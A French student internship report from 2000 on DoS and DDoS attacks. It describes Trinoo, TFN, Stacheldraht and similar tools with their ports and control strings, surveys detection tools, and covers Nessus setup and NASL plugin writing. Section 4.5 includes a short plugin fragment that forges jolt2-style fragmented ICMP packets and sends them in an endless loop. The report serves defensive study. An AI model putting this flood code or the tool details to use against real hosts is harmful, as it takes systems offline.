Déni de Service Distribué Rapport Stage
Transcription
Déni de Service Distribué Rapport Stage
DDoS Distributed Denial of Service Déni de Service Distribué Rapport Stage Ana Isabel SERRANO SELVA Mastère ISIC Année 1999-2000 ENST Bretagne Technopôle Brest-Iroise BP 832 29285 BREST Cedex Encadrant: Ronan KERYELL Data soutenance: 18 septembre 2000 Remerciements. La fin des études arrive avec sa bonheur caractéristique, mais avoir fini à cette école a rendu plus puissants ses effets. Cette année signifie avoir connaître un autre côte de l´enseignement avec lequel je suis plus d´accord. Un formation moins massifie, plus personnalisé, plus actuel et plus pratique. Cette école a su nous transmettre de connaissance en la informatique, en plus d´une langue et une culture. Je remercie à cette école et surtout aux gens avec lequel j´ai partagé ces expériences: à chacun des espagnoles, à mes collègues du mastère ISIC, aux françaises amicales et à mon encadrant. 1 Résumé et mots-clés. Le travail dans ce rapport consiste en analyser les problèmes de sécurité liés au « déni de service » et en présenter des différents méthodes de surveillance et/ou de diagnostic. L´analyse menée dans ce travail forme une ouverture aux attaques de déni de services distribué et de déni de service. C´est un point de départ pour connaître cette matière depuis un point de vue réaliste et pratique. Le rapport essai de faire un parcours par les attaques actuelles de déni de service en donnant un brève et clair explication et en donnant au lecteur des références pour la recherche en cette matière. Ce travail prétende être un contribution à la connaissance de déni de service. Il prétend aussi donner une vision de la situation des attaques de déni de services dans le monde des attaques et dans le monde de la sécurité. Donc, voici la structure base de ce rapport: • Apporter un classement des attaques de dénie de services dans le monde de la sécurité. • Expliquer le fonctionnement de ces types d´attaques. • Lister les attaques qui son déjà connus. • Donner une relation des outils possibles qu´on peut utiliser pour surveiller un système • Expliquer la mise en place et le fonctionnement d´un système de surveillance choisi. Dans notre cas, Nessus. Mots clés : DDoS, DoS, sniffers, scanners, trinoo, TFN, TFN2K, stacheldraht, mstream, service.exe, shaft, trinux, sara, zombie zapper, find_ddos, nessus 2 Table des matières Remerciements …………………………………………………….……….1 Résumé et mots-clés ………………………………………………………2 Table des matières………………………………………………………….3 1. La sécurité ………………………………………………………………...5 2. Les attaques distribuées ………………………………………….……. 7 2.1. Introduction. Qu´est-ce qu´une attaque distribuée? …..7 2.2. Stratégie à suivre ………………………………………………7 2.3. Systèmes impliqués …………………………………………...9 2.4. Types ……………………………………………………………..9 2.5. Protection. Détection. Réaction……………………………10 2.6. Outils d´attaque DDoS. ……………………………………. ..11 2.7. Outils de défense DDoS. …………………………………….16 3. Les attaques DoS. ………………………………………………………17 3.1. Fonctionnement. …………………………………………..…17 3.2. Types. ………………………………………………………...…17 3.3. Protection. Détection. Réaction……………………………18 4. Nessus. ……………………………………………………………………18 4.1. Travail à faire. …………………………………………………18 4.2. Introduction à Nessus………………………………………...18 4.3. Mis en place et démarrage de Nessus. ……………….…19 4.4. Utilisation de Nessus. …………………………………………21 4.5. Ecriture de plugins. ……………………………………………22 4.6. Améliore de Nessus. ……………………………………….…24 3 6. Conclusions…………………………………………………………….…26 7. Annexes…………………………………………………………………27 7.1. Outils de sécurité. ……………………………………….…27 7.2. jolt2.c………………………………………………………….29 7.3. Plugin………………………………………………………..…32 7.4. Attaques de déni de service détectés par Nessus. …34 7.5. Nessus Scan Report. ………………………………….……36 7.6. Acronymes. …………………………………………….……41 8. Bibliographie. ……………………………………………………….…42 4 DDoS 1. La sécurité. Aujord´hui la sécurité a une répercussion très importante dans nos vies. Tout le monde travaille avec ordinateurs. Le fonctionnement non correct de ceux-là nous proportionne, depuis perte du temps et mal de tête, jusqu´à perte d´argent. Ça est motif d´inquiétude pour tous, surtout où notre ordinateur ne marche correctement. Nous nous demandons, qu´est-ce qu´il a? Peut être des attaques ont rattrapé notre ordinateur. Les attaques des dénis de service distribués sont apparus récemment et son nombre a augmenté dû, par exemple, aux raisons ci-dessous: 1.- Les technologies d'attaque les plus avancées sont désormais publiées et sont utilisées de plus en plus souvent simultanément dans le même code malicieux. 2.- La quantité de machines mal protégées susceptibles d'amplifier l'attaque a augmenté très rapidement. Le nombre de machines connectées à Internet explosé. Le nombre de machines disposant d'un accès permanent et de forte bande passante à Internet est devenu immense. Ces machines sont utilisables comme relais pour les attaques. Les dénis de service distribués du début 2000 ont montré comment les réunir automatiquement, et de manière furtive en un véritable réseau adaptatif coordonné vers des cibles de très grande taille. 3.- Le nombre d'internautes assez compétent pour réaliser une telle attaque est en train de dépasser la masse critique. Internet est une formidable banque d'informations, de manuels, de guides, de "how-to", d'exemples, de conseils en direct dans les newsgroup, etc. Quelconque est capable d´écrire des virus/attaques/vers. De plus en plus la progression du niveau de compétence moyen de l'utilisateur d'Internet est effroyable. 4.- Chaque année se mettent en oeuvre des nouvelles technologies de piratage. La communauté de la sécurité informatique a vu naître le concept de Déni de service distribué. L ´apparition de TFN (Tribe Flood Network), le premier DDOS publié a commencé avec les signaux d'alertes. Des vulnérabilités et des nouveautés en terme de technologie de piratage et/ou attaque sont publiées et testées. Page 5 DDoS 5.- Les technologies de défense ont pris un retard technologique trop important. Les solutions aux attaques disposent d'une organisation de travail et de développement bien rodé, mais en circuit fermé. Ils ne bénéficient pas de la puissance de l'organisation en logiciel libre qui caractérise l'organisation de leurs adversaires. Tout suite nous allons présenter en détaille la classification et le fonctionnement général et spécialisé des déni de service. Page 6 DDoS 2. Les attaques distribuées. 2.1. Introduction. Qu´est-ce qu´une attaque distribuée? Les attaques distribuées sont une nouvelle catégorie d´attaques de réseau qui utilisent systèmes distribués. Ses résultats feront qu´un sol et simple commande d´un attaquant puisse aboutir à dizaine de milliers de concurrentes attaques sur un ou un ensemble de cibles. L´attaquant peut utiliser de nœud Internet non protégés autour du monde pour synchroniser les attaques. Ces nœuds attaquants ont une information limitée sur qui est en train de démarrer l´attaque et d´où. En plus, aucun nœud n´a besoin d´avoir une liste du reste de nœuds attaquants. Le système endommagé inclue tant les nœuds impliqués dans les attaques que les cibles, mais pour les cibles l´impact peut être plus grand. Une attaque distribuée peut impliquer un grand nombre de sites simultanément et focaliser l´attaque sur un ou plus victimes hosts ou réseaux. 2.2. Stratégie à suivre. Un système d´attaque distribuée caractéristique se montre à la figure cidessous. "L´intrus" contrôle un petit nombre de "maître", lesquels alternativement contrôle un grand nombre de "démon". Ces démons peuvent s´utiliser pour lancer les attaques contre les victimes ciblées par l´intrus. Page 7 DDoS Dans les incidents commis jusqu´à présent, les démons ont été installés aux plusieurs centaines de sites, typiquement à travers de vulnérabilités bien connus qui mènent à privilèges de root sur les machines compromises. Malgré quelques mises en place de programmes démons n´exigent pas de permis root pour lancer attaques, dans la pratique, la plupart des démons ont été dissimulés par la mise en place d´outils "root kits" dessinés pour cacher l´évidence de l´intrusion. Les intrus également ont parfois employé services de système tels que "cron" pour s'assurer qu'un démon continuerait à exécuter même si une instance de lui étaient effacés ou le système était relancé. Et ils sont employés aussi des outils comme scanner pour détecte vulnérabilités. Les sites vulnérables sont compromis mettant en place démons et dissimulant ses intrusions. Une fois que le démon est installé et opérant, il annonce sa présence à plusieurs maîtres prédéfinis (souvent trois ou quatre) et se mettre en attente des commandes. Le programme maître enregistre que le démon est prêt à recevoir des commandes dans une liste interne que le démon y a. Cette liste peut être récupérée par l´intrus. Page 8 DDoS Les listes récupères d´ancien incidents ont montré l´existence de hosts en différents pays. Les maîtres peuvent provoquer que les démons lancent des attaques. Les intrus ont employé des techniques cryptographiques pour cacher l'information enregistrée par les démons principaux. A travers des commandes de la liste des démons, le maître peut émettre des requêtes d´attaque. Ces requêtes contiennent des information sur l´attaque demandée, tels que l´adresse de la victime, la durée de l´attaque et d´autres paramètres. À la réception de la demande, le démon procède attaquer la victime, souvent par saturation de la victime avec des paquets. Aucun autre contact du maître n'est nécessaire. Les programmes maîtres fonctionnent fréquemment comme programmes d´utilisateurs ordinaires en tant que le host compromis, où leur activité peut facilement être cachée. À la différence des programmes de démon, qui sont destinés pour être exécutés sur des sites d'une capacité substantielle de réseau, le trafic à et du programme maître est limité pour contrôler des messages. Une fois que l´attaque DDoS a été démarré, c´est dur l´arrêté. 2.3. Systèmes impliqués. Tous les systèmes reliés à Internet peuvent être affectés par les attaques de déni de service : UNIX, Linux, Windows NT, Windows 9x, MacOS. 2.4. Types. Les techniques des attaques distribuées impliquent un grand nombre de host simultanés que peuvent focaliser l´attaque sur une ou plusieurs host. Les attaques qui utilisent ces techniques ont augmenté significativement, étant les plus important les suivants. 2.2.1. DDoS Dans une attaque de déni distribuée qui utilise la technologie distribuée, le système pointé-attaqué observe simultanées attaques depuis tous les nœuds en même temps; en saturant le réseau utilisé pour communiquer et tracer les attaques empêchant le trafic légitime du réseau. 2.2.2. Sniffers distribués Page 9 DDoS Le sniffer distribué consiste en un client et un portion de serveur. Le client sniffer a été trouvé exclusivement en cibles Linux compromis lesquels présentent les suivantes caractéristiques : • Quelques états indiquent qu´une vulnérabilité dans le démon de cron peut être utilisée pour favoriser l'accès de privilèges. Des comptes d'utilisateur avec des mots de passe compromis puissent être utilisés pour gagner l'accès initial. 2.2.3. Scanners Ce type d´attaque interroge tous les ordinateurs dans un range donnée d´adresses IP, déterminant les vulnérabilités de système. Les intrus utilise ce type d´information pour compromettre de hosts. 2.5. Protection. Détection. Réaction. Les termes ci-dessus ont relation avec les suivants points : • réviser périodiquement des politiques de sécurité • techniques pour analyser systèmes compromis • scanner périodiquement le réseau en cherchant des vulnérabilités et des intrusions • créer un plan de réponse aux attaques. De suggestions son proposé par le CERT sur : http://www.cert.org/reports/dsit_workshop-final.html 2.6. Outils d´attaque DDoS. Les outils d´attaque sont appelés DSIT (Distributed-System Intruders Tools). On présente ensuite: Trinoo Trinoo est un outil distribué utilisé pour lancer depuis beaucoup sources des attaques déni de service connus comme « UDP flood ». Un réseau trinoo se Page 10 DDoS compose de un nombre restreint de serveurs, ou maîtres , et un grand nombre de clients, ou démons . Un attaque déni de service utilisant un réseau trinoo est effectué par un intrus se reliant à un maître trinoo et demandant à ce maître pour lancer un attaque déni de service contre une ou plusieurs adresses IP. Le maître trinoo communique alors avec les démons donnant des instructions d'attaquer une ou plusieurs adresses IP pendant une période de temps indiquée. 1. intrus -------> maître; destination 27665/tcp 2. maître ------->; démons 27444/udp 3 démons -------> cibles ; ports de destination à l´hasard Le binaire pour le démon de trinoo contient des adresses IP pour un ou plusieurs maître trinoo. Quand on exécute le démon trinoo, le démon annonce sa disponibilité en envoyant un paquet de UDP contenant la chaîne de caractères " * HELLO * " à des adresses IP programmées qui appartient aux maîtres trinoo. démon -------> maîtres; destination 31335/udp Le maître trinoo enregistre une liste de démons connus dans un fichier chiffré nommé "... " dans le même répertoire que le maître binaire. Le maître trinoo peut être chargé pour envoyer une requête broadcast à tous les démons connus pour confirmer sa disponibilité. Les démons recevant l'émission répondent au maître avec un paquet de UDP contenant la chaîne de caractères " PONG ". 1. intrus -------> maître; destination 27665/tcp 2. maître ------->; démons 27444/udp 3. démons -------> maître; destination 31335/udp Toutes les transmissions au maître sur le port 27665/tcp exigent un mot de passe, qui est enregistré d´une façon chiffrée dans le démon. Toutes les transmissions avec le démon sur le port 27444/udp exigent du paquet de UDP de contenir la chaîne de caractères " l44 " (c´est un L minuscule). Les démons trinoo installés sous une variété de différents noms. Le plus générales sont NS HTTP rpc.trinoo rpc.listen trinix rpc.irix irix Page 11 DDoS TFN (Tribe Flood Network) TFN, tout comme Trinoo, est un outil distribué utilisé pour des attaques de déni de service coordonné depuis beaucoup de sources contre une ou plusieurs cibles. En plus de produire attaques de déni de service « UDP flood » peut également produire attaques « TCP SYN flood », «ICMP echo request flood » et « ICMP directed broadcast » Un attaque déni de service utilisant un réseau de TFN est effectué par un intrus demandant à un client, ou au maître , programme pour envoyer des instructions d'attaque à une liste de serveurs de TFN, ou de démons . Les démons produisent alors du type indiqué d´attaque déni de service contre un ou plusieurs des adresses IP des cibles. Des adresses des ports peuvent être â l´hasard et des tailles de paquets peuvent être modifiées. On exécute un maître TFN depuis la ligne de commande pour envoyer des commandes aux démons TFN. Le maître communique avec les démons en utilisant des paquets de réponse écho ICMP avec 16 bita incluses dans le champ ID, et les arguments inclus dans la partie de données du paquet. Les valeurs binaires, lesquels sont obtenus en time de compilation, représentent les diverses instructions envoyées entre les maîtres de TFN et les démons. Ils sont été vu des démons de TFN installés sur des systèmes en utilisant le nom de fichier td. TFN2K (Tribe Flood Network 2K) Comme TFN, TFN2K est conçu pour lancer des attaques de déni de service coordonnées depuis beaucoup de sources contre une ou plusieurs cibles. Il inclut des caractéristiques conçues spécifiquement : .- pour rendre le trafic de TFN2K difficile à reconnaître et à filtrer, .- pour exécuter à distance des commandes, .- pour cacher la vraie source du trafic .- pour transporter le trafic de TFN2K sur multiples protocoles de transport comprenant le UDP, le TCP, et l´ICMP, et pour simuler des tentatives de localiser d'autres noeuds de réseau TFN2K en envoyant des paquets " leurre ". TFN2K est conçu pour s’exécuter sur UNIX, UNIX-like systèmes, Windows NT et certains MacOS. Il simule la vraie source des attaques par « spoofing IP adresses ». Comme TFN, TFN2K peut saturer des réseaux en envoyant de grandes quantités de données à la machine victime. À la différence de TFN, TFN2K Page 12 DDoS inclut des attaques conçues pour tomber en panne ou pour présenter des instabilités dans les systèmes en envoyant les paquets mal formés ou incorrects. Également comme TFN, TFN2K utilise une architecture de serveur de client dans laquelle un client simple, sous la commande d'un attaquant, émet des commandes simultanément à un ensemble de serveurs TFN2K. Les serveurs conduisent alors les attaques de déni de service contre la cible(s). L'installation du serveur exige que, tout d´abord, un intrus compromette une machine par différents moyens. Stacheldraht Stacheldraht combine des techniques Trinoo et TFN et ajoute le chiffrement de communication entre l'attaquant et les maîtres. Il aussi actualise automatiquement aux agents. Il produit des attaques déni de service attaques « TCP SYN flood », «ICMP echo request flood », « UDP flood » et « ICMP directed broadcast » Pour la communication entre clients, handlers et agents, il utilise par défaut les ports suivants: 16660 tcp 65000 tcp C´est possible aussi changer les numéros des ports. mstream L'outil d'" mstream " se base en Trinoo. Le fonctionnement du maître et de l´agent ont été vu en binaires" rpc.wall ". Le code source prendre noms comme " master.c " pour le maître et " server.c " pour l´agent. Le maître n'a pas besoin des privilèges administratifs et peut fonctionner sous le login d´un utilisateur. Le maître peut être contrôlé à distance par un ou plusieurs intrus en utilisant un mot de passe protégé. Des commandes simples émises aux maîtres causent des instructions d'être envoyé aux agents déployés sur les systèmes compromis. La communication entre l'intrus et le maître, et le maître et les agents, sont configurables en temps de compilation. Les protocoles et les nombres de sockets par défaut sont intrus --------- 6723/tcp -> maître maître --------- 7983/udp -> agent agent --------- 9325/udp -> maître Page 13 DDoS On doit dire que c´est possible aussi changer les numéro des ports. Les agents contiennent une liste de maîtres qui sont définis en temps de compilation par l'intrus. La liste de maîtres est visible en exécutant les ' chaînes de caractères contre l'agent. Il produit l´attaques déni de service « TCP ACK flood ». Service.exe C´est un version de trinoo qui utilise agents de déni de service basé en windows. Le programme s´appelle service.exe écoute sur le port UDP 34555. Shaft L´outil de déni de services distribués shaft est composé de handlers et agents. ports : Pour la communication entre maîtres et agents, shaft utilise les suivants intrus->maître 24032/tcp (not 20483/tcp) maître<->agent 18753/udp, 20433/udp 2.7. Outils de défense DDoS. Trinux Trinux est un « toolkit » de sécurité réseau pour Linux qui inclue des outils utiles pour détecter et surveiller des réseaux TCP/IP : nmap2.54beta1, adm-smb, nbtstat, tcp_scan, cgichk, ddos-scan, dsniff, despoof, hunt, zodiac, netcat, openssh, hping2, sing, isic, p0f, fragrouter, tcpreplay, sentinel, ethereal 0.8.10, ngrep, nstreams, tcpdump, ntop, netwatch Avec Trinux nous pouvons scanner des ports, le sniffing de paquets, détecter de vulnérabilités, de sniffers et des intrusions, surveillance de réseau, construction de paquets, active/passive OS fingerprinting, session hijacking … Homepage: http://trinux.sourceforge.net/ Sara C´est un outil qui détecte l´attaque DDoS mstream et d´outres comme l´attaque pirahna et l´attaque DoS answerbook2 Page 14 DDoS Homepage: http://www-arc.com/sara Zombie Zapper (ZZ) C´est un outil qui détecte un système zombie pour empêcher que celuici continue avec l´envoi de « flooding packet ». Il détecte Trinoo, TFN, Shaft et Stacheldraht. Homepage: http://razor.bindview.com/tools/index.shtml Find_ddos C´est un outil pour scanner un système local duquel se soupçonne qui contienne un programme d´attaque DDoS. Find_ddos peut s´exécuter sur Solaris 2.6 or supérieur sur plate-forme Sparc, plate-forme Intel et Linux sur plateforme Intel. Il ne marche pas sur Windows. Find_ddos détecte trinoo daemon, trinoo master, tfn daemon, tfn client, stacheldraht master, stacheldraht client, stachelddraht demon and tfn-rush client. Il ne détecte pas TFN2K. http://foia.fbi.gov/nipc/README Page 15 DDoS 3. Les attaques DoS. 3.1. Fonctionnement. Une attaque de "déni de service" est caractérisée par la tentative des attaquants d´empêcher aux utilisateurs légitimes d´un service, le service luimême. Ces attaques ci incluent: • tentatives pour saturer un réseau, en empêchant le trafic légitime réseau. • tentatives pour interrompre les connections entre deux machines, empêchant l´accès à une service. • tentatives pour empêcher à un particulier individuel, les accès à service • tentatives pour interrompre les services à un spécifique système personne du en un ou Pas tous les services tombés en panne, même ceux-là qui résultent d´activités malicieuses, sont nécessairement des attaques de déni de service. Les attaques de déni de service peuvent essentiellement invalider ton ordinateur ou ton réseau. 3.2. Types. Le attaques de déni de service se présentent dans une grande variété de formes et sont adresses à une grande variété de services. Il y a trois types d'attaque basique: • consommation des ressources rares, limitées, ou non-renouvelables • destruction ou changement d'information de configuration • destruction ou changement physique de composants de réseau 1. Consommation des ressources rares, limitées, ou non-renouvelables. Les ordinateurs et les réseaux ont besoin de certaines consommation des ressources pour fonctionner: largeur de bande de réseau, mémoire et espace disque, temps de CPU, structures de données, accès à d'autres ordinateurs et réseaux, et certaines ressources environnementales telles que la puissance, l'air frais, ou même l'eau. Exemples de ces attaques sont : tcp_syn_flooding UDP_service_denial email_bombing_spamming Page 16 DDoS anonymous_ftp_config ping 2. Destruction ou changement d'information de configuration. Un ordinateur incorrectement configuré peut ne pas être très performant ou peut ne pas fonctionner du tout. Un intrus peut pouvoir modifier ou détruire l'information de configuration qui vous empêche d'utiliser votre ordinateur ou réseau. Par exemple, si un intrus peut changer l'information de routage dans vos routers, votre réseau peut se rendre handicapé. 3. Destruction ou changement physique de composants de réseau. L´inquiétude avec ce type des attaques est la sécurité physique. Il faudrait se protéger contre les accès non autorisé aux ordinateurs, aux routers, aux placard isolés et à tous les autres composants critiques de votre réseau. La sécurité physique est un composant important qui permet se garder contre beaucoup de types d'attaques en plus des attaques de déni de service. Il faut contacter avec des agences privées de sécurité. 3.3. Protection. Détection. Réaction. Les termes ci-dessus ont relation avec les suivants points : • mettre hors service les services non utilisées du réseau • surveiller la performance du système • investir en configurations de réseau redondantes et tolérantes aux fautes • techniques de sauvegarde pour des information importantes de configuration Page 17 DDoS 4. Nessus. 4.1. Travail à faire. Le travail avec Nessus a consisté en sa mis en place, pour après, étudier son utilisation. Donc, on s´a commencé l´écriture de plugins qui détectent de trous dans les systèmes en étudiant le langage NASL sur lequel Nessus marche. Et on a continué par l´amélioration de Nessus en ce qui concerne à ajouter des nouvelles fonctions pour qui soient possible de les utiliser en NASL. Le contenu des paragraphes ci-dessus nous mène à développer les points suivants: • Introduction à Nessus. • Mis en place de Nessus. • Utilisation de Nessus. • Ecriture de plugins. • Améliore de Nessus 4.2. Introduction à Nessus. Le projet Nessus fournit un libre , puissant, actuelle et facile utilisation d´un scanner de sécurité à distance. Un scanner sécurité est un logiciel qui auditera à distance un réseau donné et déterminera si des crackers peuvent pénétrer dans lui, ou abuser de lui d'une manière quelconque. À différence de beaucoup d'autres scanner de sécurité, Nessus ne prend rien par accordé . C'est-à-dire, il ne considérera pas qu'un service donné fonctionne sur un port fixe. Si vous exécutez votre web server sur le port 1234, Nessus le détectera et testera sa sécurité. Il ne fera pas ses essais de sécurité concernant le nombre de version de services à distance, mais essayera vraiment d'exploiter la vulnérabilité. Nessus a comme avantages être très rapide, fiable et avoir d´une architecture modulaire qui nous permet de l'adapter à nos besoins. Ses caractéristiques sont les suivants: Page 18 DDoS • Architecture de plugin. Chaque test de sécurité est écrit comme un plugin externe. • Nessus inclut le langage NASL (Nessus Attack Scripting Language), un langage conçu pour écrire des test de sécurité facilement et rapidement (des test de sécurité peuvent également être écrits en C) • Actualisation de la base de données de vulnérabilités de sécurité. • Architecture client/serveur. Nessus se compose de deux parts: un serveur, qui exécute les attaques, et un client qui est un host. On peut exécuter le serveur et le client sur différents systèmes. Il y a plusieurs clients: un pour X11, un pour Win32 et un écrit dans Java. • Nessus peut tester une quantité illimitée de hosts en même temps. • Identification des services multiples. Nessus ne croit pas que les cibles respectèrent les nombres gauches assignés par IANA. Ceci signifie qu'il identifiera un service fonctionnant sur un port non standard. • Les test de sécurité ont été exécuté par Nessus coopèrent de sorte que rien inutile ne soit fait. Des test profitent le travail des autres. • Nessus ne croit pas qu´une certain version d'un logiciel donné est immunisée contre un problème de sécurité. Les tests essayeront de déborder les mémoires tampons, retransmettre quelques courrier, et les égaliser pour faire tomber en panne l´ordinateur. • Nessus indique non seulement ce qui est erroné sur votre réseau, mais , il dit comment éviter les trous de sécurité trouvés et il dit le niveau de risque de chaque problème trouvé. • Le client Unix peut exporter les rapports en ASCII, LaTeX, HTML. En plus, ils sont disponibles en anglais or français. 4.3. Mis en place et démarrage de Nessus. Nessus version1.0.0 a été installé sur un PC avec Linux distribution debian. Le serveur et le client Unix étaient sur la même machine. Il peut être en machines séparées quand même. Installer et démarrer Nessus se compose de trois pas : • L´installation de paquets Nessus. Il se base en la compilation de quatre paquets : nessus-libraries, libnasl, nessus-core et nessus-plugins. Page 19 DDoS En choissant le client unix on a dû installer deux paquets de plus : gtk-config (v1.2): C´est le paquetage de GIMP Toolkit. Le GIMP est un programme de manipulation des images dessous la licence GNU. La distribution debian l´avait déjà installé. Nmap (v2.52): c´est un outil pour faire un scanne des ports sur grandes réseaux. Il travail sur hosts simples. • Créer une compte pour utiliser le démon de nessus (nessusd). On a crée une compte caractérisée par un login, un mot de passe, et la possibilité de chiffrer le mot de passe et de créer des règles pour l´utilisateur. Le serveur Nessus a sa propre base de données avec des règles différentes dépendent de l´utilisateur. Comme ça le serveur peut se partager dans un grand réseau entre multiples utilisateurs. • La configuration du serveur. Les options de configuration du serveur sont pour spécifier: - le chemin du répertoire où les plugin se trouvent - le nombre maximum des test simultanés - le chemin du fichier log. Activer/Désactiver la sortie des messages - le chemin du fichier pour le debug - les possibles règles des utilisateurs - le chemin du fichier base de données des utilisateurs - l'intervalle des ports - l´optimisation des tests - le langage des plu gins - les options de cryptographie - time-out des sockets - time d'attendre entre deux test contre le même port Pour démarrer le serveur il faut écrire le commande nessusd après le prompt de notre xterm. Nous avons besoin d´avoir de permis de root. Si le démon nessusd a été correctement démarré, il apparaîtra sur l´écran une fenêtre pareille à : Page 20 DDoS 4.4. Utilisation de Nessus. Une fois démarré nessus commence les tâches du client pour l´utiliser. L´environnement graphique de Nessus permet une facile utilisation. Après introduire le login qui identifie chaque utilisateur du Nessus, on doit compléter les options montrés ci-dessous, lesquels on peut voir aussi sur la dernière image: Plugins Chaque plugin détecte une vulnérabilité. Ils sont classifié par familles. C´est facile choisir les plugins qu´on veut exécuter en cliquant sur la case correspondante. Prefs Quelques plugins ont besoin d´arguments supplémentaires. On dispose des suivants préférences : Pour techniques TCP de scanner : • TCP connect • TCP syn • TCP fin Page 21 DDoS Pour des autres options: • UDP port scan • RPC port scan • Ping the remote scan • Identify the remote OS Scan options Ces options nous permettent choisir la configuration pour le scan : l´intervalle de ports, le nombre maximum des test, quelle scanner de ports. Ils sont disponibles les suivantes scanners de ports : • TCP ping the remote host • Ping the remote hosts • Nmap • Nmap tcp connect() • FTP Bounce • TCP syn Target selection On doit sélectionner le/s host/s ou le/s réseau/x où exécuter nessus Il ne manque que cliqué sur la touche « start the scan », et attendre le rapport du nessus où nous pourrons découvrir les possibles vulnérabilités de notre système. Expériences pratiques : Le scanner nessus a été exécuté plusieurs fois sur quelques hosts. Veuillez dans l´annexe le résultat d´exécuter nessus sur un host de l´ENSTB. 4.5. Ecriture de plugins. Comme nous avons déjà dit à toute l´heure, chaque plugin détecte des vulnérabilités. Nous avons travaillé en la détection de la vulnérabilité connue comme Windows DoS(jolt2.c) Jolt est un programme qui force l´utilisation de la CPU au 100% en faisant le système extrêmement lent. Cela fonctionne fondamentalement envoyant une série de paquets ICMP spoofed et fragmentés à la cible. Ces paquets ci augmentent jusqu'à 64 K et à ce moment là Windows95/NT cesse de fonctionner tout à fait. Page 22 DDoS Un paquet ICMP echo se trouve dans une paquet IP. Ce paquet IP aura, entre des autres informations, 20 octets de l´entête IP, 8 octets du paquet CMP. Par conséquent la taille maximale permise de la zone de données est 65535 - 20 - 8 = 65507. Les ordinateurs exécutant Windows NT ou Windows 95 peuvent cesser de répondre quand ils reçoivent les fragments altérés de data-gramme du Internet Control Message Protocol (ICMP) d'un client. Le code du fichier jolt2 se trouve dans l´annexe. Pour créer le plugin correspondent à cette vulnérabilité nous avons utilisée le langage NASL (Nessus Attack Scripting Language). Il a été crée express pour nessus en voulant faire une langage pas puisant mais simple, sécurisé et rapide. L´attaque cité en jolt2.c peut se réaliser grâce à paquets ICMP ou UDP. Cet raison nous a menée à écrire deux plugins différents, un pour l´envoi de paquets ICMP et l´autre pour l´envoi de paquets UDP. On leur appellera « pluginICMP.nasl » et « pluginUDP.nasl » respectivement. On va procéder à commenter le points plus importants. Le code complet des plugins se trouve à l´annexe. pluginICMP.nasl Il faut distinguer un procédé dans les plugins : • création de paquets On crée un paquet pareil au paquet d´attaque du fichier jolt2.c ############## PAQUETE IP ################ ip = forge_ip_packet(ip_hl:5, ip_v:4, ip_tos:0, ip_len:28, ip_id:0x455, ip_off:8190, ip_ttl:255, ip_p:IPPROTO_ICMP, ip_src:src, ip_dst:target); ############## PAQUETE ICMP ################## icmp = forge_icmp_packet(ip:ip, icmp_type:8, icmp_code:0, icmp_cksum:0, icmp_seq:0, icmp_id:0); • envoi de paquets On a besoin d´envoyer à maintes reprises le paquet pour que l´attaque aie d´effet. while(1){ Page 23 DDoS send_packet(icmp, pcap_active:FALSE); } • détecter si le paquets ont causé mal ou pas C´est à ce moment là où des questions apparaîtrent en référence à la détection de l´état de l´autre ordinateur. Dans la plus partie des plugins s´attendre la réponse de l´autre ordinateur en faisant l´option pcap_active= TRUE. Mais, dans notre cas, ce n´est pas une méthode valide puis qu’en faisant ça nous donnons le temps à l´ordinateur cible de se remettre. C´est possible aussi le cas où la cible n´est pas configuré pour répondre à notre types de paquets. Ça nous mène à le suivant point. 4.6. Améliore de Nessus. Donc on a pensé à une amélioration : pouvoir commencer la capture de paquet sans exécuter send_packet et, de cette façon, il n´y aura pas de temps d´attente. Donc on pourra dire que l´attente es active et pas passive. Les fonctions qu´on veut ajouter à nasl son les inclues en la librairie pcap. La librairie pcap est une librairie de capture de paquet. Et les fonctions à ajouter seraient : pcap_open_live() pcap_dump_open() pcap_open_oofline() pcap_lookupdev() pcap_lookupnet() pcap_dispatch() pcap_loop() … pcap_dump() pcap_compile() pcap_snapshot() pcap_stats() Note : la sole fonction de la librairie pcap disponible pour nasl est la fonctionne pcap_next(). On aurait avantages comme : Page 24 DDoS • écoute de paquets en arrière plan avec pcap et sans attendre à la fonction send_packet • amélioration puisant du langage en le faisant plus utile pour écrire de plugins liés à sujet du réseau. Page 25 DDoS 6. Conclusions Les dénis de service aujord´hui me font penser à l´avenir. Chaque fois est plus important le besoin d´avoir un système qui fonctionne correctement. Donc il faut s´efforcer à l´administrer correctement et bien sûr à le protéger. Les attaques sont qui ont l´avantages du temps. Ils sont toujours à l´avance. On peut assurer qu´une système est sûre au moment T, mais pas dans le moment T+1. La solution passe par se protéger, surveiller et avoir une politique de sécurité dans le cas que nos systèmes soient compromis. Ce stage m´a permis de rechercher sur la sécurité et plus concrètement sur le déni de services, de connaître des attaques et des outils pour les détecter, de connaître des sites où chercher certain information. Il m´a fourni une base de connaissances qui peuvent me guider dans la sécurité de systèmes à l´avenir. Dans l´aspect pratique, on a appris des connaissances en réseau. J'ai vraiment vu le protocole TCP/IP et j´ai utilisé aussi des différentes outils pour cette finalité là. En référence à Nessus, on doit dire que mes impressionnes sont positives. Il est un scanner de facile utilisation. Son modularité lui permet être á jour rapidement et sans beaucoup d´efforts. On doit penser que les vulnérabilités augmentent de plus en plus. Mais, pour vraiment profiter les résultats de Nessus, je pense, qu´il faut avoir de connaissances en réseau pour configurer bien l´outil. Etudiant le plugins qui sont fournis par Nessus, j´ai pu regarder le fonctionnement des attaques. Le langage NASL a permit un meilleur compréhension des attaques dû à sa simplicité. Nessus est un projet libre où j´espère continuer mon collaboration en quelques moins. Enfin, j´espère bien que ce rapport serve d´aide aux personnes intéressées en ce sujet. Page 26 DDoS 7. Annexes 7.1. Outils de sécurité. SATAN (Security Administrator Tool for Analyzing Networks) Catégorie: scan http://rootshell.com/docs/satan-1.1.1.tar.gz ISS (Internet Security Scanner) Catégorie: scan http://www.iss.net/release Saint (es un scanner) Catégorie: scan Saint est un logiciels free, qui découle de SATAN. Argus Catégorie: Outil de surveillance réseau Caractéristiques: audit de réseaux, détection d´intrusion ftp://ftp.net.cmu.edu/pub/argus-1.5/ TCP/IP wrapper program Catégorie : outil de filtrage Caractéristiques : permis d´accès réseau, information d'enregistrement de réseau ftp://info.cert.org/pub/tools/tcp_wrappers/ Tripwire Catégorie: Outil d´intégrité Caractéristiques: vérification de fichiers et répertoires, détection d´intrusion ftp://info.cert.org/pub/tools/tripwire/ MD5 Catégorie: Outil d´intégrité Caractéristiques: calcul de checksum, détection d´intrusion ftp://info.cert.org/pub/tools/md5/ LOPHT Catégorie: détecteur de sniffers http://www.l0pht.com/ Netsonar Catégorie: scan http://www.cisco.com/public/sw-center/internet/netsonar.shtml Page 27 DDoS Check Point RealSecure Catégorie: scan Caractéristiques : DoS, IDS 